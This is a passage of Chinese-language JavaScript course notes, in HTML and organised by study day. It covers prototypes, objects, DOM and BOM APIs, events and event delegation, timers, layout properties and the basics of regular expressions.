构造函数优化:1.使用一个对象,保存所有的函数。节约了名字和内存空间,但是还占有一个名字2.prototype属性在构造函数完成后,构造函数添加匿名函数。 </P> <h4>prototype属性</h4> <ul> <li>prototype这个属性就是一个对象,作用为,放置公用方法</li> <li> Create.prototype.sayTianQi = function () { console.log("今天天气不错"); }; </li> <li>每个对象都具有一个属性 __proto__;这个属性与创建这个对象的构造函数的prototype是相同的值</li> <li>当我们使用一个对象的属性(方法)时,首先会查找这个对象本身,如果有,使用 ;如果没有,找这个对象的__proto__属性,就相当于查找Create.prototype</li> <li>这个对象叫做原型对象</li> </ul> <h4>补充说明</h4> <ul> <li>window浏览器环境下js的顶级对象,在页面其他位置使用this为window</li> </ul> </div> <div> <h2>第八天对象和DOM</h2> <h4>对象简介</h4> <ul> <li>在js中对象是用来描述一个具体事物的语法</li> <li>构造函数和抽象对应,对象和具体对应。</li> <li>1 构造函数创建 var obj = new Object(); var obj = new Create();</li> <li>2 字面量形式:(键值对集合的形式) 键 - 属性名 值 - 属性值</li> </ul> <h4>对象和数组的区别</h4> <ul> <li>对象是一个复杂数据类型:对象中可以保存多个数据;数组同样是复杂数据类型</li> <li>区别在于:数组是一种按照索引有序的数据存储方式,对象按照属性名保存是一种无序的数据存储方式</li> <li>由于对象是无序的数据存储方式,在遍历过程中就不能使用普通的for循环。</li> <li>使用for in循环遍历对象</li> <li>对象的属性不存在时,如果进行访问值为undefined(对象.属性)</li> </ul> <h4>json简介</h4> <p>通常情况下,通过前后端进行交互使用的数据称为json; JSON的数据形式和对象的字面量很像,区别在于属性名加了双引号(必须是双引号) </p> <h4>面向对象简介</h4> <ul> <li>面向对象:面向对象是一种思想,关注于对象</li> <li>面向过程:专注于过程</li> <li>面向对象的写法:会具体的实现一个功能的每个部分</li> <li>面向对象思想实际上就是:拿来主义(拿过来用即可)</li> </ul> <h4>DOM</h4> <ul> <li>DOM- document object model 文档对象模型</li> <li>DOM提供一些方式,用来操作页面的元素。(在DOM中标签称为元素-页面元素)</li> <li>document是一个对象,并且在DOM中的顶级对象</li> <li>document.getElementById("id")传入一个字符串类型的标签id名,该方法获取返回该标签,取不到值返回null</li> <li>window.onload=函数;人口函数:在人口函数中书写的代码会在页面完全加载后(页面结构,图片,文件)执行</li> <li>每个标签都具有style属性,用于获取样式。通过:标签.style .具体的样式名;通过js设置的样式,最终在标签的行内生效(样式的权重很高) </li> <li>操作文本的属性:标签.innerHTML属性;可以获取修改标签内部的文本+标签</li> <li>防止覆盖:使用innerHTML+=的方式可以避免原内容被覆盖的问题</li> <li>新问题:即便使用+=可以解决覆盖,如果原有的内部标签具有了事件,这时由于新旧标签不同,这个事件会失效</li> <li>根据标签名获取元素:document.getElementsByTagName("标签类型"); 不支持数组方法,但是有长度有索引,是一个伪数组形式。 </li> <li>标签行内自带的(js自己支持的)属性,可以通过标签.属性名的方式进行直接操作</li> <li>注意:直接通过id.innerHHTML,浏览器会自动帮我们获取并使用,但这种写法不规范,容易出其他错误</li> <li>css的属性在js中,例如 background-color,在js中操作时需要修改为驼峰命名法backgroundColor (去掉横线,后半部分首字母大写)</li> </ul> <h4>事件</h4> <ul> <li>捕捉用户的操作称为事件;</li> <li>事件源:触发事件的元素(被动)</li> <li>事件类型:触发了什么事件</li> <li>事件处理程序:事件触发后,相应要执行的效果(函数结构)</li> <li>事件的语法格式:事件源.事件类型=function(){};</li> <li>onclick用户点击事件</li> </ul> </div> <div> <h2>第九天</h2> <h4>src和href的区别</h4> <ul> <li>href作为链接到外部资源直接使用</li> <li>src会将获取到的值,替换标签内的内容,进行显示(使用)</li> <li>给a标签注册点击事件,如果不想进行跳转,可以在自定义事件结束位置书写 return false;</li> </ul> <h4>在循环中添加事件时事件中使用循环变量的两个方法</h4> <ul> <li>采用自调用函数,在自调用函数中声明一个变量,存储循环变量。(会创建多个自调用函数,不推荐)</li> <li>使用标签的自定义属性,把循环标量存储到标签中。标签对象.自定义属性名=循环变量;</li> </ul> <h4>标签行内的类名className</h4> <ul> <li>类名的好处:使用类名可以让样式操作更加简便,利于css和js代码的分离</li> <li>取消类名和加入新类名来操作样式</li> <li>设置类名时,由于js设置的样式显示在行内,权重较高,类名无法对其进行覆盖,需要添加!important</li> </ul> <h4>事件</h4> <Ul> <li>移入事件 onmouseover;移出事件 onmouseout</li> <li>字符串.replace("匹配项","替换值");字符串的不可变性:所有的字符串方法,均会在操作后,返回修改后的结果,而无法修改原字符串</li> <li>输入框焦点事件:onfocus(获取焦点)和onblur(失去焦点)</li> <li>标签属性:disabled,checked,selected值在js中为Boolean;可以使用非bool值,会隐式转换后,根据转换结果进行操作</li> <li>纯文本时innerText性能高于innerHTML</li> </Ul> <h5>表单的基本操作</h5> <ul> <li>文本操作:通常使用value属性</li> <li>textarea 可以使用value和innerHTML</li> <li>select中的option:只能使用innerHTML,具有value属性但是不是文本操作的作用</li> </ul> <h4>Tab切换的两种方法</h4> <p>针对法:定义一个变量赋默认值0,在循环中每个子元素的注册事件中,先清掉当前变量对应的子元素选择样式,第二步给当前点击 的元素加选择样式,第三个给变量赋值为当前子元素的索引(通过自定义属性给子标签加索引)</p> <p>排他法:先通过循环清除所有子元素的样式,然后在给当前子元素加元素。优点:实现简单。缺点:性能差</p> </div> <div> <h2>第十天dom获取文档标签及兼容性</h2> <p>能力检测:检测浏览器行不行(检测支持哪一个功能);使用特定的某个属性和方法,在执行时查看执行的结果,如果可以,就使用该功能,如果不行,使用其他对应的功能;</p> <h4>innerText和textContext(都是操作纯文本)</h4> <ul> <li>innerText属性是ie提出的,其他浏览器兼容性不好</li> <li>textContext其他浏览器支持,但ie9下不支持</li> <li>如果浏览器不识别这个属性,返回undefined</li> </ul> <h4>获取计算后的样式</h4> <ul> <li>getComputedStyle(要进行样式获取的标签,null) 获取计算后的样式:可以获取各种位置设置的样式值</li> <li>第二个位置表示某个标签的伪元素,通常传入null或者0或者false;使用getComputedStyle获取的结果是所有样式的集合(对象形式)</li> <li>ie低版本(ie9以下)不支持这个标准方法getComputedStyle()</li> <li>ie使用 标签.currentStyle 获取结果与getComputedStyle()的结果相同</li> </ul> <h4>getElementsByClassName</h4> <ul> <li>ie9以下不支持</li> <li>能力检查后自己实现</li> <ul> <li>document.body.getElementsByTagName("*")可以通过通配符的方式获取所有的标签进行判断</li> <li>按照空格把获取到每个标签的类名进行split,和传入的类名进行对吧,一样的加入一个新数组</li> <li>优化:tagElement(标签对象)||document.body按照断路的方式,如果传入了标签对象,则获取这个标签下所有带有该类名的标签</li> </ul> </ul> <p>标签对象.style.cssText= "width:100px;height:100px;";使用一个样式属性 cssText 可以一次给标签添加多个样式;cssText用于添加css形式的样式值</p> <h4>节点树</h4> <ul> <li>html生成的这个树称为节点树(树模型);树模型上有多个不同的部分,每个部分我们称为节点</li> <li>节点的分类:元素节点 - 标签;文本节点 - 文本;属性节点 - 属性;注释节点 - 注释(不会进行操作,不常用)</li> <li>document - 节点根</li> <li>节点树带给我们的好处;根据节点之间的上下级(父子关系)、同级(兄弟),提供了一套访问的方式</li> </ul> <h4>节点访问方式</h4> <ul> <li>通过节点访问关系获取的结果,如果是数组形式的数据,全都是伪数组。</li> <li>会获取文本节点的方法,其中文本包括标签正常的空格换行</li> <li>父子节点访问方法 <ul> <li>想要通过一个节点,访问他的上级节点(父节点、父元素)语法:节点.parentNode;注意:任意节点的父节点,永远是元素节点(标签),不可能是其他类型的节点。</li> </ul> </li> <li>子节点访问 <ul> <li>获取所有子节点:节点.childNodes;获取的值,包含标签内部所有的子节点(元素节点,文本节点(换行和空格))</li> <li>获取所有的子元素节点:节点.children;获取的值为标签内部的所有子标签,不含文本节点;children不是一个标准属性,但是由于特性非常好用,导致所有的浏览器均支持此属性</li> </ul> </li> <li> 获取子元素第一个或最后一个元素子节点 <ul> <li>节点.firstElementChild和节点.lastElementChild,不会获取到文本节点,但ie9下不支持</li> <li>节点.firstChild和节点.lastChild,会获取文本节点,但没有兼容性问题</li> </ul> </li> <li> 获取兄弟节点前一个或者后一个 <ul> <li>节点.previousSibling和.nextSibling 会获取到空格和换行</li> <li>节点.previousElementSibling和节点.nextElementSibling 不会获取文本节点,但ie低版本不支持</li> <li>如果通过同级访问关系获取不到元素,结果为null</li> <li>封装节点.previousSibling和.nextSibling,遇到空格和换行(判断节点类型)直接向外跳一级查元素和为null直接返回,可以得到只获取前后元素的方法(第十二天视频进行了封装)</li> </ul> </li> </ul> <h4>节点位置移动方式(移动节点的方式:移动节点,类似与剪切操作;)</h4> <ul> <li>父节点.appendChild(要进行添加的节点) 追加子节点;添加位置为父节点的所有子节点最后。</li> <li>父节点.insertBefore(要插入的元素,参考的子节点) 插入子节点;添加位置为指定的子节点前面。</li> <li>insertBefore的第二个参数不传也是可以使用的(不是完全不传,而是传一个没有用的值);可以传的值为null和undefined</li> <li>这个方法的规范中指出两个参数均为必须传入的参数,所以这种方式使用时需要谨慎对待(因为官方没有明确说明,以后可能会改)</li> <li>如果值为null和undefined时,传入的位置为最后。</li> </ul> <h4>节点访问伪数组长度死循环问题</h4> <p>在节点访问关系中,获取的数组结构数据均为伪数组;这些伪数组结构均为动态的;我们在操作时,每次向box中添加一个新的标签时,不要使用box.children的length作为判断添加 问题是,由于伪数组结构是动态的数组形式,导致死循环的问题;如果想要采用伪数组的元素个数作为循环的执行次数使用,需要先进行保存到一个变量中,然后这个变量做循环参数。 </p> </div> <div> <h2>第十一天dom,动态创建删除元素,innerHTML性能,onkeyup事件</h2> <h4>动态创建元素几种方式</h4> <ul> <li>动态创建元素的作用: <ul> <li>1.减少流量消耗</li> <li>2.提高网页的加载速度</li> <li>3.增强网站的可维护性</li> </ul> </li> <li>document.write(); <ul> <li>插入位置,为body的最底部</li> <li>问题1 :不能在某个指定的标签内部进行结构创建</li> <li>问题2: 如果在页面加载后(事件中)使用document.write()会导致原有的页面被覆盖</li> <li>页面在渲染时:1 默认加载(第一次加载页面):称为一次输出流 (将效果输出到页面上)2 document.write() 如果在页面加载后使用,会开启一个新的输出流(导致原有输出流的内容被清除)</li> <li>解决方式:不要在页面加载后使用document.write();</li> </ul> </li> <li>标签.innerHTML <ul> <li>好处:灵活,可以给任意的标签内部进行结构创建;坏处:性能极差</li> <li>只需要减少innerHTML的使用次数即可</li> <li>拼接字符串老式的使用方式是使用数组然后.join(""):因为低版本浏览器对字符串操作的优化不好</li> <li>+=innerHTML操作会把元素注册的事件干掉</li> </ul> </li> <li>document.createElement("标签名") 可以进行标签的创建 <ul> <li>使用document.createElement() 创建的元素,不存在于页面中</li> <li>如果想要显示,需要使用移动节点的方式,将创建的元素添加到页面中的某个位置即可</li> </ul> </li> <li>根据下面的各种例子总结的规律: <ul> <li> 1 当结构十分复杂时,使用innerHTML非常方便,直接拼接即可.</li> <li>2 当我们需要向一个标签添加新元素时,如果这个标签内部已经具有了其他的内容,这时使用document.createElement()可以不影响原始的标签</li> </ul> </li> </ul> <h4>事件,元素删除及字符串判断位置</h4> <ul> <li>父节点.removeChild(要删除的子节点);</li> <li>on key 键 up起来;onkeyup 按键按下去,抬起来的一瞬间,触发事件</li> <li>字符串方法indexOf; 返回从左往右第一次找到的指定字符串的索引值</li> </ul> <h3>查看此代码执行的时间 console.time("key") 与console.timeEnd("key")前后key一致</h3> <p>最好不要使用父级作用域中的变量;通过节点之间的访问关系,可以防止父作用域执行后不进行释放的问题。</p> <p>/和"++"一样可以对字符串的换行起作用</p> </div> <div> <h2>第十二天节点,bom</h2> <h4>重排和重绘</h4> <ul> <li> <ul> <li>1 当页面加载生成渲染树(节点树和样式树合并的产物)后;按照渲染树上的每一个部分,将页面显示出来</li> <li>2 排列:根据某个标签的宽高,定位值,浮动,计算出标签要显示的位置</li> <li>3 绘制:显示内部的内容,图片,颜色,文本</li> </ul> </li> <li>当用户对页面进行操作时(js操作),可能会引发重新排列(重排、回流)和重新绘制(重绘)</li> <ul> <li>重排和重绘均会引发性能问题:重排的性能消耗要高于重绘</li> <li>重排的出现位置,决定了他消耗的性能(尽量减少一个元素在进行操作时所可以影响的元素个数)</li> <li>重排是必然引发重绘,但是重绘是可以单独触发的。</li> <li>尽量要减少操作所引发的重排次数</li> </ul> <li>document.createDocumentFragment();作用:当我们将df放入到页面中时,自己不会像标签一样一同放入,而是放入内部的元素</li> </ul> <h4>节点克隆与替换</h4> <ul> <li>节点.cloneNode();</li> <ul> <li>1 可以传入参数,如果不传,默认为false,表示浅复制(只复制标签,不复制内部的内容);如果参数值为true,表示深复制(复制标签以及内部的内容)</li> <li>2 克隆节点后,标签相同,但是不会具有内部的事件(等等的属性都没有);所有在标签结构中看不到的属性均无法克隆</li> <li>3 要克隆的标签不要添加id,添加id以后,id名会重复</li> <li></li> </ul> <li>标签.replaceChild(要替换成哪个标签,要替换的子元素);返回值为被替换掉的标签</li> </ul> <h4>节点属性</h4> <ul> <li>节点是对页面中所有内容的统称(节点树中的每个部分)</li> <li> <ul> <li>节点.nodeType 用于查看每个节点的节点类型:元素节点 1;文本节点 3;属性节点 2;document 9;documentFragment 11</li> <li>nodeName 节点名;元素节点的nodeName属性为标签名,在html中是大写形式,在xhtml中是小写形式</li> <li>nodeValue 节点值;元素节点没有节点值,访问时值为null</li> </ul> </li> </ul> <h4>标签的属性</h4> <ul> <li>标签自带的行内属性可以通过 标签.属性名直接操作;标签行内的自定义属性操作:使用.属性名访问不到 <ul> <li>1 属性获取:标签.getAttribute("属性名")</li> <li>2 属性设置:标签.setAttribute("属性名")</li> <li>3 属性移除:标签.removeAttribute("属性名")</li> <li></li> <li></li> </ul> </li> <li>属性节点的获取方式:var node= 标签.getAttributeNode("属性名") <ul> <li>node.nodeType//2</li> <li>node.nodeName//id 属性名</li> <li>node.nodeValue//属性值,取值与getAttribute取值相同</li> </ul> </li> </ul> <h4>bom</h4> <ul> <li>BOM - browser object model 浏览器对象模型;作用:将浏览器内部的功能作为对象形式进行使用;BOM中的顶级对象 - window</li> <li>所有的全局变量均为window的属性;window的属性和方法均不需要(可以忽略)加window;使用window的方式可以直接访问全局变量的值</li> <li>location也是window的属性。同样也是一个对象形式,内部具有许多的属性和方法 <ul> <li>location具有一个属性href,会跳转到指定的页面</li> <li>location.assign(地址); 同样也是跳转功能;和href功能基本一样</li> <li>location.replace(地址); 跳转,但是无法进行返回(无法后退)</li> <li>location.reload(); 刷新</li> <li> <ul> <li>window.location.hash;//锚点</li> <li>window.location.host;//主机</li> <li>window.location.hostname;//域名</li> <li>window.location.pathname;//当前页面的路径</li> <li>window.location.port;//端口 80</li> <li>window.location.protocol;//协议</li> <li>window.location.search</li> </ul> </li> </ul> </li> <li>window.navigator.platform//平台,可以检测当前运行的系统是什么;window.navigator.userAgent//用户代理字符串 简称UA</li> <li>history.go(1); history.forward();//前进history.go(-1);history.back();//后退</li> <li>window.open()//open()方法: 参数1 打开地址 参数2 打开位置 _blank _self 参数3 可以设置新窗口的样式 <ul> <li>close方法,用于关闭窗口</li> <li>moveTo(w,h),moveBy(w,h)修改窗口大小</li> <li>resizeTo(x,y),resizeBy(x,y)移动窗口位置</li> </ul> </li> </ul> </div> <div> <h2>第十三天</h2> <p> 内置对象:类似与电脑的内置软件,具有一些自带的功能; 由于每个方法使用的数据不同,又形成了不同的集合(对象),称为内置对象 </p> <h4>内置对象数组的方法</h4> <ul> <li>数组.push(参数1,参数2,..........); <ul> <li>表示将传入的参数依次添加到数组的最后</li> <li>可以修改原数组,返回值为修改后数组的新长度</li> </ul> </li> <li>数组.pop():从数组的最后删除一个元素,并且返回。修改原数组</li> <li>数组.unshift(参数1,参数2,..........)从数组最前面进行添加;按照传参的顺序,将数据添加到数组最前面;返回数组的新长度</li> <li>数组.shift();从数组最前面删除一个元素</li> <li>数组.concat() <ul> <li>用于进行数组的连接,如果参数为数组形式,不会将整体放入,而是将传入的数组中每个元素进行放入</li> <li>不会修改原数组,而是返回一个结果数组</li> <li>利用返回新数组的特性,可以进行数组的复制</li> </ul> </li> <li>slice() 拷贝 <ul> <li>数组.slice(start,end);</li> <li>作用为,拷贝数组中指定的数据,从索引值start开始拷贝到索引值end位置,不含end位置的值</li> <li>不会修改原数组,返回值为拷贝的内容</li> </ul> </li> <li>splice() 截取 <ul> <li>数组.splice(start,len) start表示截取的起始位置索引值,len表示截取的个数</li> <li>修改原数组,返回值为截取到的元素,数组形式返回</li> <li>添加数据,如果传入的参数多于2个,将后面的这个参数添加 到截取的位置上(个数不需要对应)</li> <li>splice的作用:可以删除数组中的指定元素;</li> </ul> </li> <li>数组.reverse();翻转数组:可以修改原数组,返回值与原数组是同一个数组,所以没有必要接收</li> <li>数组.sort(); <ul> <li>可以对字符串数组进行排序,默认为按照a-z的顺序排序,如果数组的元素具有多个字符,按照首字母排序</li> <li>可以对数值数组进行排序,用冒泡排序模拟写出sort传函数的排序方式</li> </ul> </li> <li>indexOf():返回值为,从左往右找到的第一个满足条件的元素的索引值(只能找到一个);如果没有找到指定的元素值,返回-1</li> <li>lastIndexOf:使用方式与indexOf相同,只不过查找的起始位置为从后往前;数组的indexOf和lastIndexOf方法在ie9以下不支持</li> </ul> <h4>Date对象</h4> <ul> <li>Date对象的作用:表示时间;</li> <li>Date对象的创建方式:var date = new Date();//构造函数创建方式,给当前的时间创建了一个对象形式</li> <li>传参可以创建某一个特定时间的对象:var date = new Date("2015-1-1");</li> <li>如果参数是数值类型,月份从0开始:var date = new Date(2015, 11, 1);</li> <li>转换方式: 会将当前的日期转换为毫秒形式 <ul> <li>var date = new Date();console.log(date.getTime());console.log(+new Date());</li> <li>console.log(Date.parse("2015-1-1"));</li> <li>var date = new Date();console.log(date.valueOf());</li> <li>Date.now();</li> </ul> </li> <li> Date的内置方法 <ul> <li>console.log(date.getFullYear());//获取年份</li> <li>console.log(date.getMonth() + 1);//获取月份,月份从0开始</li> <li>console.log(date.getDate());//获取日</li> <li>console.log(date.getDay());//星期也是从0开始,0表示周日</li> <li>console.log(date.getHours());//获取小时</li> <li>console.log(date.getHours());//获取小时</li> <li>console.log(date.getMinutes());//获取分钟</li> <li>console.log(date.getSeconds());//获取秒</li> <li>console.log(date.getMilliseconds());//获取毫秒 0-999</li> </ul> </li> </ul> <h4>字符串对象</h4> <ul> <li>字符串就是一个基本类型数据;由于字符串是一个非常常用的数据类型,许多基本的操作,如果每次都要书写代码实现非常的麻烦;</li> <li>js会在每次使用字符串的属性和方法时,给我们创建一个与该字符串数据值相同的字符串对象;当属性使用完毕后,这个对象会被立刻清除</li> <li>这种对象我们称为 基本包装类型对象 。</li> <li>length表示字符串的字符个数;按照索引访问字符,由于字符串的不可变性,操作时只能进行访问,而无法修改。字符串.charAt(索引值) 使用结果与[]的方式相同</li> <li>字符串.concat();作用为连接字符串;这个方法通常不用,一般使用+操作,更简便</li> <li>字符串.slice(start,end);slice方法可以传入负数的参数,表示从后面数第几个</li> <li>字符串.substr(start,len) len表示个数</li> <li>字符串.substringe(start,end);不支持负数的参数,如果传入了负数,会认为是0;如果参数2的值小于了参数1,自动交换位置</li> <li>字符串大小写转换:小转大/字符串.toUpperCase();大转小/字符串.toLowerCase()</li> <li>字符串.indexOf("要检索的字符串",起始位置索引值);字符串的index系列方法没有兼容性问题</li> <li>语法:str.replace("要替换的字符串","替换为什么字符串")作用为从左往右,替换掉找到的第一个指定字符串(可以循环替换全部)</li> <li>字符串.split("用于分割的字符串") 返回分割后的数据,数组形式</li> <li>字符串.trim()去除字符串两端的空格</li> </ul> <h4>两种定时器</h4> <ul> <li>timeout定时器:延时执行;设置:setTimeout(执行的代码,延时时间) 时间为毫秒单位。返回值为当前定时器的唯一标识;clearTimeout(定时器标识id)</li> <li>interval:每间隔一段时间重复执行代码;设置:setInterval(执行的代码,执行间隔时间) 时间为毫秒单位。;返回值为当前定时器的唯一标识;清除方式: clearInterval(定时器id);</li> <li>问题是:由于异步任务不是时间到达立刻执行,而是时间到达后将任务代码添加到主线程中进行排队;如果当前的同步任务列表中的代码执行时间很长,可能会导致定时器执行时间不准确</li> <li>当定时器内部的代码停止执行后,记得清除定时器</li> </ul> <h3>单线程和多线程丶同步和异步</h3> <ul> <li>单线程和多线程: <ul> <li>单线程就是做事情的人只有一个。</li> <li>js是单线程的语言:如果设置为多线程,会导致dom等关键操作出现问题</li> <li>h5以后js引入了多线程的概念,但是只能有一个主线程,其他线程无法进行DOM等核心操作,可以进行其他的细节处理,提高代码执行速度</li> </ul> </li> <li>同步和异步: <ul> <li>单线程同步:一个人只能按照顺序一次做一件事情。</li> <li>同步的问题:由于有些任务比較耗时,或者执行的时间不确定,这时无法使用同步任务(会导致后面的功能阻塞)</li> <li>异步任务:当某些任务比較耗时时,或者执行的时间不确定时,这些任务不会添加到主线程中进行执行,而是放到一个任务队列中</li> <li>异步任务的执行总是晚于同步任务;当异步任务可以执行时无法插入到已经存在的任务之间,只能排队到当前所有任务的最后等待执行</li> <li>js中的常见异步任务:定时器,事件</li> </ul> </li> </ul> </div> <div> <h2>第十四天</h2> <h4>旋转属性:/*旋转角度为顺时针*/ transform: rotate(30deg);</h4> <h4>简单运动</h4> <ul> <li>/使用标签.offsetLeft 用于获取标签距离定位父盒子的左侧距离 //获取结果是数值类型,并且只读(无法进行修改)</li> <li>offsetLeft的取值会取到真正应用的一个值,会进行四舍五入:每个像素点同时只能显示一个颜色,从根本上来说设置一个元素的样式为宽度20.3,根本没有意义</li> <li>计算方式为:当前元素的左边框左侧,到定位父盒子的左边框右侧(边框到边框之间的距离)</li> <li>标签.offsetWidth 可以获取元素的真实宽度(border + padding + width)(除了margin以外的所有值的宽度)获取结果是数值类型,只读(不能设置)</li> <li>1 在定时器内部先获取到元素当前所在位置的left值(可以避免默认left值变动和后期操作更改left的问题)</li> <li>2 简单运动公式 当前位置 = 当前位置 + 步长</li> <li>3 将新的位置设置给box的left,进行运动</li> <li>4.到达位置清除定时器</li> <li>多个盒子抖动:最终的修改是,将timer不作为全局变量或者局部变量,而是作为某个标签的一个自定义属性。</li> </ul> <h4>网络加载的速度对页面图片的尺寸获取有影响(这种情况不可控)。</h4> <ul> <li>入口函数:当页面完全加载后执行代码</li> <li>当我们需要使用某个图片的尺寸时</li> <li>方式1:可以获取可视区域的宽度</li> <li>方式2:有时我们的页面结构是动态创建的,会根据接受的数据进行结构创建,数据中会保存图片等内容的尺寸</li> </ul> <h4>列子</h4> <ul> <li>简单轮播图</li> <li>左右焦点图</li> <li>无缝滚动原理</li> <li>机械表</li> </ul> </div> <div><h2>第十五天加速滚动封装,轮播图和手风琴</h2> <p> //事件传递的默认方式,称为事件冒泡 //当前元素触发事件后,自己的事件会执行,执行后会向父元素进行传递,如果父元素具有相同类型的事件,也会被触发</p> </div> <div> <h2>第十六天</h2> <h4>offset系列属性</h4> <ul> <li>offsetLeft:用于获取当前元素到定位父盒子的左侧距离 (边框到边框)</li> <li>offsetTop:用于获取当前元素到定位父盒子的顶部距离 (边框到边框)</li> <li>offsetWidth:用于获取元素的真实宽度(不含margin)</li> <li>offsetHeight:用于获取元素的真实高度(不含margin)</li> <li>offsetParent 相当于一个选择器 /获取的值为当前元素参考的定位父盒子</li> <li>parentNode 获取的父元素(紧贴着的父级标签) </li> </ul> <h4>scroll系列属性</h4> <ul> <li>scrollTop 元素的卷曲高度;计算方式,当元素内部的内容超出了元素的顶边框的底部时,开始进行计算</li> <li>onscroll 滚动事件(元素的内部滚动条滚动时触发事件)</li> <li>scrollLeft 元素卷曲的宽度(左侧的距离);计算方式:当元素内部的内容超出了元素的左边框的右侧时,开始进行计算</li> <li>scrollHeight 元素内部内容的真实高度;计算方式为,从顶边框的底部,计算到内部内容的底部</li> <li>scrollHeight具有最小值;计算方式:顶边框和底边框之间的距离</li> <li>scrollWidth 元素内部内容的真实宽度</li> <li>获取页面的卷曲高度兼容性问题 <ul> <li>window.pageYoffset(在ie9以下不支持)具有一个别名 window.scrollY(但是scrollY在ie中全都不支持,所以通常使用pageYoffset)</li> <li>document.body.scrollTop(只有谷歌好使)</li> <li>document.documentElement 指的是html标签(只有谷歌不好使)</li> <li> scrollTop: window.pageYOffset || document.documentElement.scrollTop || document.body.scrollTop || 0</li> <li> scrollLeft: window.pageXOffset || document.documentElement.scrollLeft || document.body.scrollLeft || 0</li> </ul> </li> </ul> <h4>client系类属性</h4> <ul> <li>标签.clientHeight 元素内部的真实高度;计算方式:边框到边框之间的距离;这个值与scrollHeight的最小值相同</li> <li>标签.clientWidth 元素内部的真实宽度;</li> <li>clientTop,clientLeft比較鸡肋: 相当于顶边框和左边框的宽度值;如果元素具有滚动条,并且左侧显示,会影响到clientLeft的取值(会增加17px的宽度)</li> <li>onresize 当页面尺寸改变时,触发事件</li> <li>获取可视区域宽度的方式 <ul> <li>width: window.innerWidth || document.documentElement.clientWidth || document.body.clientWidth || 0</li> <li>height: window.innerHeight || document.documentElement.clientHeight || document.body.clientHeight || 0</li> </ul> </li> </ul> <p>可以把内容滚动到指定的区域:window.scrollTo(100, 200);参数1 表示横向的坐标;参数2 表示纵向的坐标</p> </div> <div> <h2>第十七天 事件</h2> <h4>简单事件与复杂事件,事件冒泡与事件捕获</h4> <ul> <li>事件三要素 : 事件源 事件类型 事件处理程序;简单事件添加方式:事件源.事件类型 = function(){事件处理程序}</li> <li>问题:简单事件添加会出现覆盖的情况;解决:可以通过检测onclick属性中的值,如果是函数,说明添加过,如果什么也没有说明没加过</li> <li>标签.addEventListenter(eventtype(事件类型),fun(事件处理程序),bl(事件的传递方式)) 添加事件监听;此方法在ie9以下不支持</li> <li>事件的移除方式: <ul> <li>1 简单事件的移除:btn.onclick = null;</li> <li>语法 标签.removeEventListener(事件类型,事件处理程序)</li> <li>移除时,所有的参数必须与设置时完全相同;注意:第二个参数必须与设置时是同一个函数才行</li> </ul> </li> <li>ie11以下支持方法 <ul> <li>注意点:只有ie11以下支持此方法(此方法注定要被淘汰,只不过是时间问题)</li> <li>在ie9以下注意执行的顺序相反(对实际的操作不影响)</li> <li>标签.attachEvent()移除方式 标签.detachEvent("onclick",对应的事件处理程序)</li> </ul> </li> <li>事件的默认传递方式:事件冒泡;执行顺序,当前元素触发事件后,会向父元素进行传递,如果父元素具有相同的事件,进行触发</li> <li>事件捕获需要使用特殊的设置方式(了解) <ul> <li>addEventListener的第三个参数;值为bool值,默认值为false,false表示事件冒泡;设置值为true表示以事件捕获的方式触发事件</li> <li>事件捕获的执行顺序与事件冒泡的执行顺序相反</li> <li>attachEvent方法不支持第三个参数。意味着在ie的低版本中不支持事件捕获</li> </ul> </li> <li>一个事件的执行都有三个必要过程:1 事件捕获(从外到内);2 当前操作元素的事件触发;3 事件冒泡(从内到外)</li> <li>注意:我们设置的事件冒泡和事件捕获只能决定这个事件在哪一个阶段进行触发;eventPhase 属性可以知道某一个事件触发时处于事件执行的哪一个阶段中</li> <li>事件传播阻止:同时取消两种传播方式 事件对象.stopPropagation();ie低版本中不支持此方法;可以取消事件冒泡:window.event.cancelBubble = true;</li> <li>取消标签的默认事件的两种方法:return false 可以阻止默认事件效果;事件对象.preventDefault();</li> <li>onmousemove:当鼠标在页面中进行移动时,实时获取鼠标的位置</li> <li>onmousedown 当鼠标点下去的时候触发事件</li> <li>onmouseup 当鼠标按键抬起的时候触发事件</li> </ul> <h4>事件对象</h4> <ul> <li>在其他浏览器中获取:事件处理程序中接受形参event/e;ie浏览器:window.event;兼容 e || window.event;</li> <li>type属性:可以获取当前这个事件的类型名,没有on</li> <li>针对页面可视区域的横纵坐标:事件对象.clientX 横坐标;事件对象.clientY 纵坐标</li> <li>pageX pageY 鼠标针对页面的坐标,ie低版本中无法使用此属性,使用clientX/clientY + 页面卷曲的宽度/高度解决这个问题</li> </ul> <h4> 事件委托(事件代理):解决动态创建元素事件的问题。</h4> <ul> <li>借助事件冒泡的特性,将事件添加给父元素后可以保证无论是否是动态创建的p都可以具有事件</li> <li>可以在事件处理程序中接受一个参数event----形参,这个参数不是我们自己传递的而是js的事件机制帮我们传递的</li> <li>event.target 代表了当前事件真正触发的那个元素ie低版本中使用 event.srcElement</li> <li>对target进行兼容: var tar = event.target || event.srcElement;</li> </ul> </div> <div> <h2>第十八天 正则和递归</h2> <h4>正则表达式的作用:操作字符串 (匹配,替换,提取)</h4> <ul> <li>正则表达式两种声明方式:构造函数声明方式 var reg = new RegExp("abc");字面量声明方式 var reg = /abc/;</li> <li>五大内部类 <ul> <li>var reg = /abc/;简单类:可以匹配含有abc的字符串</li> <li>var reg = /[abc]/;字符类标识:使用[],中括号整体表示一位字符;可以匹配到含有字符a或者b或者c的字符串</li> <li>var reg = /[^abcd]/;反向类是对字符类功能的扩展,在字符类的标识[后面书写一个^,可以表示反向,可以匹配到除了abcd以外的其他字符串</li> <li>var reg = /[a-n]/;对于匹配的字符数较多的情况,可以使用范围类</li> <li>var reg = /[a-h1-7D-O]/;组合类:对范围类书写的组合。匹配 a到h之间的小写字母和1-7之间的数字和D-O之间的大写字母。种匹配情况的书写顺序随意。</li> </ul> </li> <li>边界:^书写在正则的最开始部分,表示开头;将$书写在正则的最后位置,表示匹配结尾;如果同时在一个正则中书写了^和$,表示严格匹配:必须与内部的内容完全相同</li> <li>量词 <ul> <li>当需要匹配的内容重复出现的次数较多时,可以使用量词</li> <li>{n} 表示可以出现的次数</li> <li>{n,} 可以出现的次数>=n</li> <li>{n,m} 可以出现的次数为n-m之间</li> <li> 预定义的三个量词使用 <ul> <li>* 出现的次数可以为0次到多次</li> <li>+ 出现的次数可以为1次到多次</li> <li> ? 出现的次数可以为0或1次</li> </ul> </li> </ul> </li> <li> |或则,匹配的字符为多个并且不确定: var reg = /ab|bc|cd|it/; </li> <li>正则方法 <ul> <li>正则对象.test()方法:正则方法;参数为字符串,表示使用正则表达式对字符串进行匹配,匹配成功返回true,失败返回false</li> <li> 